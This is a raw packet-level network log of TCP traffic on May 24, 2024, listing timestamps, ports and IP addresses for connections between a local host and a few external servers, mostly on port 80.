May 24, 2024 13:42:04.845164061 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.845200062 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.846021891 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.846033096 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.846041918 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.846051931 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.846061945 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.846071959 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.846075058 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.846082926 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.846108913 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.846110106 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.846143007 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.846497059 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.846973896 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.846985102 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.846993923 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.847004890 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.847014904 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.847024918 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.847035885 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.847037077 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.847050905 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.847067118 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.847090960 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.848540068 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.848551989 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.848561049 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.848572016 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.848581076 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.848592043 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.848602057 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.848603964 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.848639965 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.848654985 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.849149942 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849162102 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849172115 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849183083 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849193096 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849204063 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849205017 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.849231958 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.849246025 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.849832058 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849843979 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849853039 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849864006 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849874973 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849886894 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849886894 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.849898100 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.849915028 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.849931002 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.850640059 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.850652933 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.850697994 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.851782084 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.851859093 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.851913929 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.851984978 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.852005959 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.852039099 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.852066994 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.852288961 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.852523088 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.852533102 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.852541924 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.852554083 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.852571964 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.852600098 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.853056908 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.853070021 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.853112936 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.853128910 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.853176117 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.853257895 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.853270054 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.853280067 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.853322029 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.853349924 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.853642941 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.853801012 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.853848934 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.853935957 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.853948116 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.853976965 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.853996992 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.854325056 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.854335070 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.854368925 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.854371071 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.854403973 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.854566097 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.854577065 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.854614973 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.854787111 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.854832888 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.855159998 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.855201960 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.855226040 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.855330944 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.855355978 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.855400085 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.855501890 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.855514050 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.855525017 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.855551958 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.855571985 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.855739117 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.855801105 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.856609106 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.856620073 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.856666088 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.856801033 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.856812000 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.856822014 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.856842041 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.856856108 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.861560106 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.863131046 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870292902 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870305061 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870316029 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870327950 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870341063 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870353937 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870377064 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870421886 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870455980 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870469093 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870484114 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870501995 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870508909 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870516062 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870526075 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870529890 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870543003 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870556116 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870558977 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870572090 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870580912 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870585918 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870599031 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870599031 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870611906 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870624065 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870635033 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870635986 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870649099 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.870663881 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870676994 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870712042 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.870984077 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871001005 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871012926 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871032000 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871032953 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871042967 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871047020 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871058941 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871061087 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871073008 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871082067 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871084929 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871093988 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871098995 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871112108 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871123075 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871134996 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871136904 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871150017 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871150970 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871162891 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871167898 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871176004 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871189117 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871196985 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871201992 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871213913 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871228933 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871242046 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871268988 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871465921 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871488094 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871500015 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871529102 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871551037 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871809959 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871822119 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871833086 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871845007 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871857882 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871860027 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871870995 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.871893883 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.871915102 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.872570038 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.872582912 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.872592926 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.872606039 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.872617006 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.872622967 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.872629881 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.872641087 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.872644901 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.872654915 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.872658968 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.872687101 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.872713089 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.873368979 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.873563051 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.873574972 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.873585939 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.873598099 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.873609066 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.873617887 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.873622894 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.873636961 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.873646975 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.873651981 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.873663902 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.873692036 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.874445915 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.874458075 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.874469042 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.874494076 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.874505043 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.874505997 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.874517918 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.874517918 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.874545097 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.874569893 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.875312090 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.875397921 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.875458002 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.875694990 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.875758886 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.875849962 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.875863075 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.875874043 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.875897884 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.875915051 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.876451015 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.876686096 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.876737118 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.876835108 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.876848936 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.876861095 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.876878977 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.876909971 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.877203941 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.877218962 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.877229929 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.877242088 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.877254009 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.877266884 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.877270937 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.877279043 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.877295017 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.877321005 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.878463984 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.878475904 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.878494978 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.878506899 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.878511906 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.878526926 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.878540993 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.878644943 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.878655910 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.878664970 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.878674984 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.878686905 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.878686905 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.878698111 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.878698111 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.878726006 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.878753901 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.887913942 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.887932062 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.887942076 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.887952089 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.887964964 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.887979031 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.887979031 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.887993097 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888008118 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888019085 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888020992 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888032913 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888044119 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888046026 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888056040 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888062954 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888075113 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888084888 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888084888 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888096094 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888108015 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888108969 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888118029 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888123989 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888129950 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888142109 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888150930 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888178110 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888283014 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888294935 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888322115 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888616085 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888628006 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888637066 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888648987 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888659000 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.888664007 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888673067 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.888700962 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.890368938 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890381098 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890419960 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.890444994 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890455961 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890465021 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890496016 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.890511036 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.890546083 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890558004 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890568018 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890578032 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890588045 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890594006 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.890599012 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890610933 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890616894 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.890631914 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.890646935 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.890847921 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890861034 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890870094 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890881062 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890892982 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890902042 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.890906096 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.890924931 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.890942097 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.891828060 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.891839981 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.891849041 CEST	80	49737	91.202.233.232	192.168.2.4
